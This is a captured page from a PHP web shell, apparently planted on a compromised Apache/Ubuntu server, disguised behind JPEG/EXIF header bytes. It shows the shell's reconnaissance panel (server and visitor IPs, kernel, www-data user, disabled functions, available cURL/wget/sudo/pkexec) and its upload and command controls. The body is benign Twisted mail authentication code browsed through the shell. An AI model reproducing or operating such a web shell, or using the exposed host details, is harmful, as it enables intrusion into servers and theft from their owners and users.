����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.191.89.16
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/mail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/mail/_cred.py
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Credential managers for L{twisted.mail}.
"""

from __future__ import absolute_import, division

import hmac

from zope.interface import implementer

from twisted.cred import credentials
from twisted.python.compat import nativeString
from twisted.mail._except import IllegalClientResponse
from twisted.mail.interfaces import IClientAuthentication, IChallengeResponse


@implementer(IClientAuthentication)
class CramMD5ClientAuthenticator:
    def __init__(self, user):
        self.user = user


    def getName(self):
        return b"CRAM-MD5"


    def challengeResponse(self, secret, chal):
        response = hmac.HMAC(secret, chal).hexdigest().encode('ascii')
        return self.user + b' ' + response



@implementer(IClientAuthentication)
class LOGINAuthenticator:
    def __init__(self, user):
        self.user = user
        self.challengeResponse = self.challengeUsername


    def getName(self):
        return b"LOGIN"


    def challengeUsername(self, secret, chal):
        # Respond to something like "Username:"
        self.challengeResponse = self.challengeSecret
        return self.user


    def challengeSecret(self, secret, chal):
        # Respond to something like "Password:"
        return secret



@implementer(IClientAuthentication)
class PLAINAuthenticator:
    def __init__(self, user):
        self.user = user


    def getName(self):
        return b"PLAIN"


    def challengeResponse(self, secret, chal):
        return b'\0' + self.user + b'\0' + secret



@implementer(IChallengeResponse)
class LOGINCredentials(credentials.UsernamePassword):
    def __init__(self):
        self.challenges = [b'Password\0', b'User Name\0']
        self.responses = [b'password', b'username']
        credentials.UsernamePassword.__init__(self, None, None)


    def getChallenge(self):
        return self.challenges.pop()


    def setResponse(self, response):
        setattr(self, nativeString(self.responses.pop()), response)


    def moreChallenges(self):
        return bool(self.challenges)



@implementer(IChallengeResponse)
class PLAINCredentials(credentials.UsernamePassword):
    def __init__(self):
        credentials.UsernamePassword.__init__(self, None, None)


    def getChallenge(self):
        return b''


    def setResponse(self, response):
        parts = response.split(b'\0')
        if len(parts) != 3:
            raise IllegalClientResponse(
                "Malformed Response - wrong number of parts")
        useless, self.username, self.password = parts


    def moreChallenges(self):
        return False


__all__ = [
    "CramMD5ClientAuthenticator",
    "LOGINCredentials", "LOGINAuthenticator",
    "PLAINCredentials", "PLAINAuthenticator",
]

Youez - 2016 - github.com/yon3zu
LinuXploit